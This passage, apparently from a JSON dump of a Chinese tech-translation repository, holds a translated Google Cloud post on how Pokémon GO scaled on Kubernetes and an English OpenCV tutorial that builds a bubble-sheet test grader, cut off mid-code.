)](https://github.com/apple/swift/blob/c39da37525255d3bc141038ff567b4aca57d316e/docs/GenericsManifesto.md) - `Doug Gregor` 的最初的 `Swift` 实现 - 发展/演进 邮件中展示出了很多对 `Swift` 的泛型的潜在的改进(包括增强型实存类型)。\n*   [有实存类型的抽象类型 ( Abstract Types Have Existential Type )](http://theory.stanford.edu/~jcm/papers/mitch-plotkin-88.pdf) - 这片文章是有关总结了在各种编程语言中，实现实存类型的想法。对我理解什么是实存类型最有关系的句子是: “实存类型提供了足够多的信息用于验证匹配条件 [...]，没有提供任何有关显示载体的信息或者实现如何操作的算法。”\n"
  },
  {
    "path": "TODO/bringing-Pokemon-GO-to-life-on-Google-Cloud.md",
    "content": "> * 原文地址：[Bringing Pokémon GO to life on Google Cloud](https://cloudplatform.googleblog.com/2016/09/bringing-Pokemon-GO-to-life-on-Google-Cloud.html)\n* 原文作者：[Luke Stone](https://cloudplatform.googleblog.com/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[cdpath](https://github.com/cdpath)\n* 校对者：[DeadLion (Jasper Zhong)](https://github.com/DeadLion), [yifili09 (Nicolas(Yifei) Li)](https://github.com/yifili09)\n\n# 让 Pokémon GO 运行在谷歌云服务上\n作者 Luke Stone，客户可靠性工程主管。\n\n在我的工程师生涯中，我曾参与发布了多个产品，它们后来拥有了数百万用户。假以时日，随着在新功能和架构上的调整，用户采纳度通常会在数月内稳步提升。我曾参与过的任何产品的增长速度都无法和[谷歌云服务](https://cloud.google.com/)的客户 [Niantic](https://www.nianticlabs.com/) 所发布的 Pokémon GO 相提并论。\n\n先放一张胜过千言万语的图表作为预告吧：\n\n[![](https://3.bp.blogspot.com/-QNgvo5Ec03Q/V-2XAaD0GQI/AAAAAAAADJA/g2M6VTRGUiktueNG6gGFxBjSLXRQDeNZQCLcB/s640/google-cloud-pokemon-go-1.png)](https://3.bp.blogspot.com/-QNgvo5Ec03Q/V-2XAaD0GQI/AAAAAAAADJA/g2M6VTRGUiktueNG6gGFxBjSLXRQDeNZQCLcB/s1600/google-cloud-pokemon-go-1.png)\n\n有同行在技术社区问过我们用什么基础架构来支撑数百万玩家使用 Pokémon GO。 Niantic 和谷歌云服务团队一起写了这篇文章来着重说明支撑着目前最流行的手机游戏的一些关键组件。\n\n### 共同的命运\n\n在今天的 [Horizon](https://atmosphere.withgoogle.com/live/horizon)  活动上，我们会介绍谷歌客户可靠性工程（CRE），一种谷歌技术人员和客户小组相结合的全新参与模式，双方分担责任帮助关键的云端应用实现高可靠性并获得成功。谷歌 CRE 的第一个客户就是 Niantic，其第一个任务就是发布 Pokémon GO，这是个真正的测试，如果真有的话。\n\n在澳大利亚和新西兰首发的 15 分钟内，玩家流量的激增已经超出了 Niantic 的预期。这时 Niantic 的产品和工程团队才意识到他们手上的东西真的不一般。为应对第二天在美国区的发布，Niantic 打电话给谷歌 CRE 请求增援。Niantic 和谷歌云服务团队 —— 包括 CRE，SRE，开发，产品，技术支持和执行团队 —— 已经做好准备迎接蜂涌而至的新 Pokémon 训练师（游戏玩家）了，而 Pokémon GO 的玩家流量还会持续超出预期。\n\n### 创造 Pokémon 游戏世界\n\nPokémon GO 这个手机应用使用了多个谷歌云服务，而[云存储](https://cloud.google.com/datastore/)成了这个游戏全面流行的直接原因，因为它是游戏的主要数据库，用来获得 Pokémon 游戏世界。这篇博客开篇的图表讲了这样一个故事：团队定下的目标是一倍的玩家流量，而最坏情况预计是这个目标的五倍。Pokémon GO 的流行迅速带来了超过预期目标五十倍的流量，十倍于预计的最坏情况。为了应对这一情况，谷歌 CRE 为 Niantic 无缝地提供了额外的处理能力，成功应对了破纪录的流量增长。\n\n不是所有东西在发布时都是一帆风顺的！当游戏的稳定性出现问题时，Niantic 和谷歌工程师们勇敢的面对一个又一个的问题，动作迅速地解决问题。谷歌 CRE 和 Niantic 携手审查了架构的每一部分，充分利用谷歌云服务团队的核心工程师和产品经理的专业知识，共同应对涌入的数以百万的新玩家。\n\n### 容器支撑的 Pokémon\n\nPokémon GO 不只是一个全球性现象，它还是基于容器的开发形式在实际开发中的最令人激动的生动例子之一。游戏的应用逻辑运行在[谷歌容器引擎 (GKE)](https://cloud.google.com/container-engine/)上，它是基于开源的 [Kubernetes project](http://kubernetes.io/) 开发的。Niantic 选择 GKE 是因为能够极大规模地编排容器集群，小组可以集中精力为玩家部署实时更新。通过这种方式，Niantic 利用谷歌云服务将 Pokémon GO 变成了服务数百万玩家的服务，可以持续调整并改进。\n\nNiantic 和谷歌 CRE 小组完成的另一个更激进的技术是升级到新版的 GKE，从而在容器集群中多加一千个节点。这都是为了应对游戏在日本区众所期待的发布。如同给飞行的飞机换发动机一样，需要采取谨慎的操作来保证已有玩家不受影响，切换的新版 GKE 的同时还有数百万的新玩家注册并加入 Pokémon 游戏世界。除了这次升级之外，Niantic 和谷歌工程师们还同心协力将[网络负载均衡](https://cloud.google.com/compute/docs/load-balancing/network/)替换为更新更复杂的 HTTP/S 负载均衡。[HTTP/S 负载均衡](https://cloud.google.com/load-balancing/)是专为 HTTPS 流量设计的全球系统，提供了更多的控制能力，更快的用户连接以及整体更高的吞吐量，更适合 Pokémon GO 所经历的流量的量级和类型。\n\n从美国区发布吸取的教训 —— 提供海量处理能力，架构调整到最新的容器引擎，以及升级到 HTTP/S 负载均衡 —— 都在日本区发布时收到了回报，没有发生故障的同时新增玩家达到了两周前美国区发布时的三倍。\n\n\n\n\n\n\n\n[![](https://3.bp.blogspot.com/-Eo29IdLeofM/V-ysvX6aqXI/AAAAAAAADIc/b1Kf1YUDk2UbiheUIKElXjTypd5MBqpGACLcB/s640/google-cloud-cre.png)](https://3.bp.blogspot.com/-Eo29IdLeofM/V-ysvX6aqXI/AAAAAAAADIc/b1Kf1YUDk2UbiheUIKElXjTypd5MBqpGACLcB/s1600/google-cloud-cre.png)\n\n\n\n\n\n谷歌云服务 GKE/Kubernetes 团队为包括 Niantic 在内的多个客户提供支持\n\n\n\n\n\n\n\n其他有趣的事实\n\n*   Pokémon GO 游戏世界使用了超过 12 个 Google Cloud 服务。\n*   Pokémon GO 是有史以来 [Google Container Engine](https://cloud.google.com/container-engine/) 上最大的 [Kubernetes](http://kubernetes.io/)。得益于集群的规模和相应的吞吐量，大量的 bug 被发现、修正最后合并回[开源项目](https://github.com/kubernetes/kubernetes)。\n*   为支持 Pokémon GO 的海量玩家数据库，谷歌为 Niantic 的容器引擎集群提供了成千上万的 CPU 核心。\n*   [谷歌的全球网络](https://peering.google.com/#/infrastructure)帮助减少 Pokémon 训练师（游戏玩家）在游戏世界中总体的延迟。游戏流量通过谷歌专用光纤网络走过大多数中转，为全球玩家提供可靠、低延迟的体验。[甚至在海下](https://cloudplatform.googleblog.com/2016/06/Google-Cloud-customers-run-at-the-speed-of-light-with-new-FASTER-undersea-pipe.html)!\n\nNiantic 的 Pokémon GO 是一次齐心协力地发布，需要在超过六个小组间迅速、高效地传递决策。游戏的规模和目标要求 Niantic 直接从设计了低层产品的工程团队中挖掘架构和运营的最佳实践。我在这里代表谷歌 CRE 团队表示能够参与到如此令人难忘的产品发布已是难得的乐趣，更何况游戏已为世界各地的人们带来乐趣。\n"
  },
  {
    "path": "TODO/bubble-sheet-multiple-choice-scanner-and-test-grader-using-omr-python-and-opencv.md",
    "content": "> * 原文地址：[Bubble sheet multiple choice scanner and test grader using OMR, Python and OpenCV](http://www.pyimagesearch.com/2016/10/03/bubble-sheet-multiple-choice-scanner-and-test-grader-using-omr-python-and-opencv/)\n* 原文作者：[ Adrian Rosebrock](http://www.pyimagesearch.com/author/adrian/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：\n* 校对者：\n\n# Bubble sheet multiple choice scanner and test grader using OMR, Python and OpenCV\nOver the past few months I’ve gotten quite the number of requests landing in my inbox to build a bubble sheet/Scantron-like test reader using computer vision and image processing techniques.\n\nAnd while I’ve been having a lot of fun doing this series on machine learning and deep learning, I’d be _lying_ if I said this little mini-project wasn’t a short, welcome break. One of my favorite parts of running the PyImageSearch blog is demonstrating how to build _actual_ solutions to problems using computer vision.\n\nIn fact, what makes this project _so special_ is that we are going to combine the techniques from _many_ previous blog posts, including [building a document scanner](http://www.pyimagesearch.com/2014/09/01/build-kick-ass-mobile-document-scanner-just-5-minutes/), [contour sorting](http://www.pyimagesearch.com/2015/04/20/sorting-contours-using-python-and-opencv/), and [perspective transforms](http://www.pyimagesearch.com/2014/08/25/4-point-opencv-getperspective-transform-example/). Using the knowledge gained from these previous posts, we’ll be able to make quick work of this bubble sheet scanner and test grader.\n\nYou see, last Friday afternoon I quickly Photoshopped an example bubble test paper, printed out a few copies, _and then set to work on coding up the actual implementation._\n\nOverall, I am quite pleased with this implementation and I think you’ll absolutely be able to use this bubble sheet grader/OMR system as a starting point for your own projects.\n\n**To learn more about utilizing computer vision, image processing, and OpenCV to automatically grade bubble test sheets, _keep reading._**\n\n## Bubble sheet scanner and test grader using OMR, Python, and OpenCV\n\nIn the remainder of this blog post, I’ll discuss what exactly _Optical Mark Recognition_ (OMR) is. I’ll then demonstrate how to implement a bubble sheet test scanner and grader using _strictly_ computer vision and image processing techniques, along with the OpenCV library.\n\nOnce we have our OMR system implemented, I’ll provide sample results of our test grader on a few example exams, including ones that were filled out with nefarious intent.\n\nFinally, I’ll discuss some of the shortcomings of this current bubble sheet scanner system and how we can improve it in future iterations.\n\n### What is Optical Mark Recognition (OMR)?\n\nOptical Mark Recognition, or OMR for short, is the process of _automatically_ analyzing human-marked documents and interpreting their results.\n\nArguably, the most famous, easily recognizable form of OMR are _**bubble sheet multiple choice tests**_, not unlike the ones you took in elementary school, middle school, or even high school.\n\nIf you’re unfamiliar with “bubble sheet tests” or the trademark/corporate name of “Scantron tests”, they are simply multiple-choice tests that you take as a student. Each question on the exam is a multiple choice — and you use a #2 pencil to mark the “bubble” that corresponds to the correct answer.\n\nThe most notable bubble sheet test you experienced (at least in the United States) were taking the SATs during high school, prior to filling out college admission applications.\n\nI _believe_ that the SATs use the software provided by Scantron to perform OMR and grade student exams, but I could easily be wrong there. I only make note of this because Scantron is used in over 98% of all US school districts.\n\nIn short, what I’m trying to say is that there is a _massive market_ for Optical Mark Recognition and the ability to grade and interpret human-marked forms and exams.\n\n### Implementing a bubble sheet scanner and grader using OMR, Python, and OpenCV\n\nNow that we understand the basics of OMR, let’s build a computer vision system using Python and OpenCV that can _read_ and _grade_ bubble sheet tests.\n\nOf course, I’ll be providing lots of visual example images along the way so you can understand _exactly what techniques I’m applying_ and _why I’m using them._\n\nBelow I have included an example filled in bubble sheet exam that I have put together for this project:\n\n![Figure 1: The example, filled in bubble sheet we are going to use when developing our test scanner software.](http://www.pyimagesearch.com/wp-content/uploads/2016/10/omr_test_01-225x300.png%20225w,%20http://www.pyimagesearch.com/wp-content/uploads/2016/10/omr_test_01.png%20525w)\n\n**Figure 1:** The example, filled in bubble sheet we are going to use when developing our test scanner software.\n\n\n\nWe’ll be using this as our example image as we work through the steps of building our test grader. Later in this lesson, you’ll also find additional sample exams.\n\nI have also included a _blank exam template_ as a .PSD (Photoshop) file so you can modify it as you see fit. You can use the **_“Downloads”_** section at the bottom of this post to download the code, example images, and template file.\n\n#### The 7 steps to build a bubble sheet scanner and grader\n\nThe goal of this blog post is to build a bubble sheet scanner and test grader using Python and OpenCV.\n\nTo accomplish this, our implementation will need to satisfy the following 7 steps:\n\n*   **Step #1:** Detect the exam in an image.\n*   **Step #2:** Apply a perspective transform to extract the top-down, birds-eye-view of the exam.\n*   **Step #3:** Extract the set of bubbles (i.e., the possible answer choices) from the perspective transformed exam.\n*   **Step #4:** Sort the questions/bubbles into rows.\n*   **Step #5:** Determine the marked (i.e., “bubbled in”) answer for each row.\n*   **Step #6:** Lookup the correct answer in our answer key to determine if the user was correct in their choice.\n*   **Step #7:** Repeat for all questions in the exam.\n\nThe next section of this tutorial will cover the actual _implementation_ of our algorithm.\n\n#### The bubble sheet scanner implementation with Python and OpenCV\n\nTo get started, open up a new file, name it test_grader.py , and let’s get to work:\n\n\n\nBubble sheet scanner and test grader using OMR, Python and OpenCV\n\n\n\n    # import the necessary packages\n    from imutils.perspective import four_point_transform\n    from imutils import contours\n    import numpy as np\n    import argparse\n    import imutils\n    import cv2\n\n    # construct the argument parse and parse the arguments\n    ap = argparse.ArgumentParser()\n    ap.add_argument(\"-i\", \"--image\", required=True,\n        help=\"path to the input image\")\n    args = vars(ap.parse_args())\n\n    # define the answer key which maps the question number\n    # to the correct answer\n    ANSWER_KEY = {0: 1, 1: 4, 2: 0, 3: 3, 4: 1}\n\n\n\n\n\nOn **Lines 2-7** we import our required Python packages.\n\nYou should already have OpenCV and Numpy installed on your system, but you _might_ not have the most recent version of [imutils](https://github.com/jrosebr1/imutils), my set of convenience functions to make performing basic image processing operations easier. To install imutils (or upgrade to the latest version), just execute the following command:\n\n\n\nBubble sheet scanner and test grader using OMR, Python and OpenCV\n\n\n\n    $ pip install --upgrade imutils\n\n\n\n\n\n**Lines 10-12** parse our command line arguments. We only need a single switch here, --image , which is the path to the input bubble sheet test image that we are going to grade for correctness.\n\n**Line 17** then defines our ANSWER_KEY .\n\nAs the name of the variable suggests, the ANSWER_KEY provides integer mappings of the _question numbers_ to the _index of the correct bubble._\n\nIn this case, a key of _0_ indicates the _first question_, while a value of _1_ signifies _“B”_ as the correct answer (since _“B”_ is the index _1_ in the string _“ABCDE”_). As a second example, consider a key of _1_ that maps to a value of _4_ — this would indicate that the answer to the second question is _“E”_.\n\nAs a matter of convenience, I have written the entire answer key in plain english here:\n\n*   **Question #1:** B\n*   **Question #2:** E\n*   **Question #3:** A\n*   **Question #4:** D\n*   **Question #5:** B\n\nNext, let’s preprocess our input image:\n\n\n\nBubble sheet scanner and test grader using OMR, Python and OpenCV\n\n\n\n    # import the necessary packages\n    from imutils.perspective import four_point_transform\n    from imutils import contours\n    import numpy as np\n    import argparse\n    import imutils\n    import cv2\n\n    # construct the argument parse and parse the arguments\n    ap = argparse.ArgumentParser()\n    ap.add_argument(\"-i\", \"--image\", required=True,\n        help=\"path to the input image\")\n    args = vars(ap.parse_args())\n\n    # define the answer key which maps the question number\n    # to the correct answer\n    ANSWER_KEY = {0: 1, 1: 4, 2: 0, 3: 3, 4: 1}\n\n    # load the image, convert it to grayscale, blur it\n    # slightly, then find edges\n    image = cv2.imread(args[\"image\"])\n    gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n    blurred = cv2.GaussianBlur(gray, (5, 5), 0)\n    edged = cv2.Canny(blurred, 75, 200)\n\n    # find contours in the edge map, then initialize\n    # the contour that corresponds to the document\n    cnts = cv2.findContours(edged.copy(), cv2.RETR_EXTERNAL,\n        cv2.CHAIN_APPROX_SIMPLE)\n    cnts = cnts[0] if imutils.is_cv2() else cnts[1]\n    docCnt = None\n\n    # ensure that at least one contour was found\n    if len(cnts) > 0:\n        # sort the contours according to their size in\n        # descending order\n        cnts = sorted(cnts, key=cv2.contourArea, reverse=True)\n\n        # loop over the sorted contours\n        for c in cnts:\n            # approximate the contour\n            peri = cv2.arcLength(c, True)\n            approx = cv2.approxPolyDP(c, 0.02 * peri, True)\n\n            # if our approximated contour has four points,\n            # then we can assume we have found the paper\n            if len(approx) == 4:\n                docCnt = approx\n                break\n\n    # apply a four point perspective transform to both the\n    # original image and grayscale image to obtain a top-down\n    # birds eye view of the paper\n    paper = four_point_transform(image, docCnt.reshape(4, 2))\n    warped = four_point_transform(gray, docCnt.reshape(4, 2))\n\n\n\n\n\nOn **Line 21** we load our image from disk, followed by converting it to grayscale (**Line 22**), and blurring it to reduce high frequency noise (**Line 23**).\n\nWe then apply the Canny edge detector on **Line 24** to find the _edges/outlines_ of the exam.\n\nBelow I have included a screenshot of our exam after applying edge detection:\n\n![Figure 2: Applying edge detection to our exam neatly reveals the outlines of the paper.](http://www.pyimagesearch.com/wp-content/uploads/2016/10/omr_edged-229x300.jpg%20229w,%20http://www.pyimagesearch.com/wp-content/uploads/2016/10/omr_edged.jpg%20382w)\n\n**Figure 2:** Applying edge detection to our exam neatly reveals the outlines of the paper.\n\n\n\nNotice how the edges of the document are _clearly defined_, with _all four vertices of the exam_ being present in the image.\n\nObtaining this silhouette of the document is _extremely important_ in our next step as we will use it as a marker to apply a perspective transform to the exam, obtaining a top-down, birds-eye-view of the document:\n\n\n\nBubble sheet scanner and test grader using OMR, Python and OpenCV\n\n\n\n    # find contours in the edge map, then initialize\n    # the contour that corresponds to the document\n    cnts = cv2.findContours(edged.copy(), cv2.RETR_EXTERNAL,\n        cv2.CHAIN_APPROX_SIMPLE)\n    cnts = cnts[0] if imutils.is_cv2() else cnts[1]\n    docCnt = None\n\n    # ensure that at least one contour was found\n    if len(cnts) > 0:\n        # sort the contours according to their size in\n        # descending order\n        cnts = sorted(cnts, key=cv2.contourArea, reverse=True)\n\n        # loop over the sorted contours\n        for c in cnts:\n            # approximate the contour\n            peri = cv2.arcLength(c, True)\n            approx = cv2.approxPolyDP(c, 0.02 * peri, True)\n\n            # if our approximated contour has four points,\n            # then we can assume we have found the paper\n            if len(approx) == 4:\n                docCnt = approx\n                break\n\n\n\n\n\nNow that we have the outline of our exam, we apply the cv2.findContours function to find the lines that correspond to the exam itself.\n\nWe do this by sorting our contours by their _area_ (from largest to smallest) on **Line 37** (after making sure at least one contour was found on **Line 34**, of course). This implies that larger contours will be placed at the front of the list, while smaller contours will appear farther back in the list.\n\nWe make the assumption that our exam will be the _main focal point of the image_, and thus be larger than other objects in the image. This assumption allows us to “filter” our contours, simply by investigating their area and knowing that the contour that corresponds to the exam should be near the front of the list.\n\nHowever, _contour area and size_ is not enough — we should also check the number of _vertices_ on the contour.\n\nTo do, this, we loop over each of our (sorted) contours on **Line 40**. For each of them, we approximate the contour, which in essence means we _simplify_ the number of points in the contour, making it a “more basic” geometric shape. You can read more about contour approximation in this post on [building a mobile document scanner.](http://www.pyimagesearch.com/2014/09/01/build-kick-ass-mobile-document-scanner-just-5-minutes/)\n\nOn **Line 47** we make a check to see if our approximated contour has four points, and if it does, _we assume that we have found the exam._\n\nBelow I have included an example image that demonstrates the docCnt variable being drawn on the original image:\n\n![Figure 3: An example of drawing the contour associated with the exam on our original image, indicating that we have successfully found the exam.](http://www.pyimagesearch.com/wp-content/uploads/2016/10/omr_found_exam-229x300.jpg%20229w,%20http://www.pyimagesearch.com/wp-content/uploads/2016/10/omr_found_exam.jpg%20420w)\n\n**Figure 3:** An example of drawing the contour associated with the exam on our original image, indicating that we have successfully found the exam.\n\n\n\nSure enough, this area corresponds to the outline of the exam.\n\nNow that we have used contours to find the outline of the exam, we can apply a perspective transform to obtain a top-down, birds-eye-view of the document:\n\n\n\nBubble sheet scanner and test grader using OMR, Python and OpenCV\n\n\n\n    # import the necessary packages\n    from imutils.perspective import four_point_transform\n    from imutils import contours\n    import numpy as np\n    import argparse\n    import imutils\n    import cv2\n\n    # construct the argument parse and parse the arguments\n    ap = argparse.ArgumentParser()\n    ap.add_argument(\"-i\", \"--image\", required=True,\n        help=\"path to the input image\")\n    args = vars(ap.parse_args())\n\n    # define the answer key which maps the question number\n    # to the correct answer\n    ANSWER_KEY = {0: 1, 1: 4, 2: 0, 3: 3, 4: 1}\n\n    # load the image, convert it to grayscale, blur it\n    # slightly, then find edges\n    image = cv2.imread(args[\"image\"])\n    gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n    blurred = cv2.GaussianBlur(gray, (5, 5), 0)\n    edged = cv2.Canny(blurred, 75, 200)\n\n    # find contours in the edge map, then initialize\n    # the contour that corresponds to the document\n    cnts = cv2.findContours(edged.copy(), cv2.RETR_EXTERNAL,\n        cv2.CHAIN_APPROX_SIMPLE)\n    cnts = cnts[0] if imutils.is_cv2() else cnts[1]\n    docCnt = None\n\n    # ensure that at least one contour was found\n    if len(cnts) > 0:\n        # sort the contours according to their size in\n        # descending order\n        cnts = sorted(cnts, key=cv2.contourArea, reverse=True)\n\n        # loop over the sorted contours\n        for c in cnts:\n            # approximate the contour\n            peri = cv2.arcLength(c, True)\n            approx = cv2.approxPolyDP(c, 0.02 * peri, True)\n\n            # if our approximated contour has four points,\n            # then we can assume we have found the paper\n            if len(approx) == 4:\n                docCnt = approx\n                break\n\n    # apply a four point perspective transform to both the\n    # original image and grayscale image to obtain a top-down\n    # birds eye view of the paper\n    paper = four_point_transform(image, docCnt.reshape(4, 2))\n    warped = four_point_transform(gray, docCnt.reshape(4, 2))\n\n\n\n\n\nIn this case, we’ll be using my implementation of the four_point_transform function which:\n\n1.  Orders the _(x, y)_-coordinates of our contours in a _specific, reproducible manner._\n2.  Applies a perspective transform to the region.\n\nYou can learn more about the perspective transform in [this post](http://www.pyimagesearch.com/2014/08/25/4-point-opencv-getperspective-transform-example/) as well as [this updated one on coordinate ordering](http://www.pyimagesearch.com/2016/03/21/ordering-coordinates-clockwise-with-python-and-opencv/), but for the time being, simply understand that this function handles taking the “skewed” exam and transforms it, returning a top-down view of the document:\n\n\n\n**Figure 4:** Obtaining a top-down, birds-eye view of both the original image _(left)_ along with the grayscale version _(right)_.\n\n\n\nAlright, so now we’re getting somewhere.\n\nWe found our exam in the original image.\n\nWe applied a perspective transform to obtain a 90 degree viewing angle of the document.\n\nBut how do we go about actually _grading_ the document?\n\nThis step starts with _binarization_, or the process of thresholding/segmenting the _foreground_ from the _background_ of the image:\n\n\n\nBubble sheet scanner and test grader using OMR, Python and OpenCV\n\n\n\n    # import the necessary packages\n    from imutils.perspective import four_point_transform\n    from imutils import contours\n    import numpy as np\n    import argparse\n    import imutils\n    import cv2\n\n    # construct the argument parse and parse the arguments\n    ap = argparse.ArgumentParser()\n    ap.add_argument(\"-i\", \"--image\", required=True,\n        help=\"path to the input image\")\n    args = vars(ap.parse_args())\n\n    # define the answer key which maps the question number\n    # to the correct answer\n    ANSWER_KEY = {0: 1, 1: 4, 2: 0, 3: 3, 4: 1}\n\n    # load the image, convert it to grayscale, blur it\n    # slightly, then find edges\n    image = cv2.imread(args[\"image\"])\n    gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n    blurred = cv2.GaussianBlur(gray, (5, 5), 0)\n    edged = cv2.Canny(blurred, 75, 200)\n\n    # find contours in the edge map, then initialize\n    # the contour that corresponds to the document\n    cnts = cv2.findContours(edged.copy(), cv2.RETR_EXTERNAL,\n        cv2.CHAIN_APPROX_SIMPLE)\n    cnts = cnts[0] if imutils.is_cv2() else cnts[1]\n    docCnt = None\n\n    # ensure that at least one contour was found\n    if len(cnts) > 0:\n        # sort the contours according to their size in\n        # descending order\n        cnts = sorted(cnts, key=cv2.contourArea, reverse=True)\n\n        # loop over the sorted contours\n        for c in cnts:\n            # approximate the contour\n            peri = cv2.arcLength(c, True)\n            approx = cv2.approxPolyDP(c, 0.02 * peri, True)\n\n            # if our approximated contour has four points,\n            # then we can assume we have found the paper\n            if len(approx) == 4:\n                docCnt = approx\n                break\n\n    # apply a four point perspective transform to both the\n    # original image and grayscale image to obtain a top-down\n    # birds eye view of the paper\n    paper = four_point_transform(image, docCnt.reshape(4, 2))\n    warped = four_point_transform(gray, docCnt.reshape(4, 2))\n\n    # apply Otsu's thresholding method to binarize the warped\n    # piece of paper\n    thresh = cv2.threshold(warped, 0, 255,\n        cv2.THRESH_BINARY_INV | cv2.THRESH_OTSU)[1]\n\n\n\n\n\nAfter applying Otsu’s thresholding method, our exam is now a _binary_ image:\n\n![Figure 5: Using Otsu's thresholding allows us to segment the foreground from the background of the image.](http://www.pyimagesearch.com/wp-content/uploads/2016/10/omr_thresh-243x300.jpg%20243w,%20http://www.pyimagesearch.com/wp-content/uploads/2016/10/omr_thresh.jpg%20405w)\n\n**Figure 5:** Using Otsu’s thresholding allows us to segment the foreground from the background of the image.\n\n\n\nNotice how the _background_ of the image is _black_, while the _foreground_ is _white._\n\nThis binarization will allow us to once again apply contour extraction techniques to find each of the bubbles in the exam:\n\n\n\nBubble sheet scanner and test grader using OMR, Python and OpenCV\n\n\n\n    # import the necessary packages\n    from imutils.perspective import four_point_transform\n    from imutils import contours\n    import numpy as np\n    import argparse\n    import imutils\n    import cv2\n\n    # construct the argument parse and parse the arguments\n    ap = argparse.ArgumentParser()\n    ap.add_argument(\"-i\", \"--image\", required=True,\n        help=\"path to the input image\")\n    args = vars(ap.parse_args())\n\n    # define the answer key which maps the question number\n    # to the correct answer\n    ANSWER_KEY = {0: 1, 1: 4, 2: 0, 3: 3, 4: 1}\n\n    # load the image, convert it to grayscale, blur it\n    # slightly, then find edges\n    image = cv2.imread(args[\"image\"])\n    gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n    blurred = cv2.GaussianBlur(gray, (5, 5), 0)\n    edged = cv2.Canny(blurred, 75, 200)\n\n    # find contours in the edge map, then initialize\n    # the contour that corresponds to the document\n    cnts = cv2.findContours(edged.copy(), cv2.RETR_EXTERNAL,\n        cv2.CHAIN_APPROX_SIMPLE)\n    cnts = cnts[0] if imutils.is_cv2() else cnts[1]\n    docCnt = None\n\n    # ensure that at least one contour was found\n    if len(cnts) > 0:\n        # sort the contours according to their size in\n        # descending order\n        cnts = sorted(cnts, key=cv2.contourArea, reverse=True)\n\n        # loop over the sorted contours\n        for c in cnts:\n            # approximate the contour\n            peri = cv2.arcLength(c, True)\n            approx = cv2.approxPolyDP(c, 0.02 * peri, True)\n\n            # if our approximated contour has four points,\n            # then we can assume we have found the paper\n            if len(approx) == 4:\n                docCnt = approx\n                break\n\n    # apply a four point perspective transform to both the\n    # original image and grayscale image to obtain a top-down\n    # birds eye view of the paper\n    paper = four_point_transform(image, docCnt.reshape(4, 2))\n    warped = four_point_transform(gray, docCnt.reshape(4, 2))\n\n    # apply Otsu's thresholding method to binarize the warped\n    # piece of paper\n    thresh = cv2.threshold(warped, 0, 255,\n        cv2.THRESH_BINARY_INV | cv2.THRESH_OTSU)[1]\n\n    # find contours in the thresholded image, then initialize\n    # the list of contours that correspond to questions\n    cnts = cv2.findContours(thresh.copy(), cv2.RETR_EXTERNAL,\n        cv2.CHAIN_APPROX_SIMPLE)\n    cnts = cnts[0] if imutils.is_cv2() else cnts[1]\n    questionCnts = []\n\n    # loop over the contours\n    for c in cnts:\n        # compute the bounding box of the contour, then use the\n        # bounding box to derive the aspect ratio\n        (x, y, w, h) = cv2.boundingRect(c)\n        ar = w / float(h)\n\n        # in order to label the contour as a question, region\n        # should be sufficiently wide, sufficiently tall, and\n        # have an aspect ratio approximately equal to 1\n        if w >= 20 and h >= 20 and ar >= 0.9 and ar <= 1.1:\n            questionCnts.append(c)\n\n\n\n\n\n**Lines 64-67** handle finding contours on our thresh binary image, followed by initializing questionCnts , a list of contours that correspond to the questions/bubbles on the exam.\n\nTo determine which regions of the image are bubbles, we first loop over each of the individual contours (**Line 70**).\n\nFor each of these contours, we compute the bounding box (**Line 73**), which also allows us to compute the _aspect ratio_, or more simply, the ratio of the width to the height (**Line 74**).\n\nIn order for a contour area to be considered a bubble, the region should:\n\n1.  Be sufficiently wide and tall (in this case, at least 20 pixels in both dimensions).\n2.  Have an aspect ratio that is _approximately_ equal to 1.\n\nAs long as these checks hold, we can update our questionCnts list and mark the region as a bubble.\n\nBelow I have included a screenshot that has drawn the output of questionCnts on our image:\n\n![Figure 6: Using contour filtering allows us to find all the question bubbles in our bubble sheet exam recognition software.](http://www.pyimagesearch.com/wp-content/uploads/2016/10/omr_finding_bubbles-243x300.jpg%20243w,%20http://www.pyimagesearch.com/wp-content/uploads/2016/10/omr_finding_bubbles.jpg%20405w)\n\n**Figure 6:** Using contour filtering allows us to find all the question bubbles in our bubble sheet exam recognition software.\n\n\n\nNotice how _only_ the question regions of the exam are highlighted and nothing else.\n\nWe can now move on to the “grading” portion of our OMR system:\n\n\n\nBubble sheet scanner and test grader using OMR, Python and OpenCV\n\n\n\n    # import the necessary packages\n    from imutils.perspective import four_point_transform\n    from imutils import contours\n    import numpy as np\n    import argparse\n    import imutils\n    import cv2\n\n    # construct the argument parse and parse the arguments\n    ap = argparse.ArgumentParser()\n    ap.add_argument(\"-i\", \"--image\", required=True,\n        help=\"path to the input image\")\n    args = vars(ap.parse_args())\n\n    # define the answer key which maps the question number\n    # to the correct answer\n    ANSWER_KEY = {0: 1, 1: 4, 2: 0, 3: 3, 4: 1}\n\n    # load the image, convert it to grayscale, blur it\n    # slightly, then find edges\n    image = cv2.imread(args[\"image\"])\n    gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n    blurred = cv2.GaussianBlur(gray, (5, 5), 0)\n    edged = cv2.Canny(blurred, 75, 200)\n\n    # find contours in the edge map, then initialize\n    # the contour that corresponds to the document\n    cnts = cv2.findContours(edged.copy(), cv2.RETR_EXTERNAL,\n        cv2.CHAIN_APPROX_SIMPLE)\n    cnts = cnts[0] if imutils.is_cv2() else cnts[1]\n    docCnt = None\n\n    # ensure that at least one contour was found\n    if len(cnts) > 0:\n        # sort the contours according to their size in\n        # descending order\n        cnts = sorted(cnts, key=cv2.contourArea, reverse=True)\n\n        # loop over the sorted contours\n        for c in cnts:\n            # approximate the contour\n            peri = cv2.arcLength(c, True)\n            approx = cv2.approxPolyDP(c, 0.02 * peri, True)\n\n            # if our approximated contour has four points,\n            # then we can assume we have found the paper\n            if len(approx) == 4:\n                docCnt = approx\n                break\n\n    # apply a four point perspective transform to both the\n    # original image and grayscale image to obtain a top-down\n    # birds eye view of the paper\n    paper = four_point_transform(image, docCnt.reshape(4, 2))\n    warped = four_point_transform(gray, docCnt.reshape(4, 2))\n\n    # apply Otsu's thresholding method to binarize the warped\n    # piece of paper\n    thresh = cv2.threshold(warped, 0, 255,\n        cv2.THRESH_BINARY_INV | cv2.THRESH_OTSU)[1]\n\n    # find contours in the thresholded image, 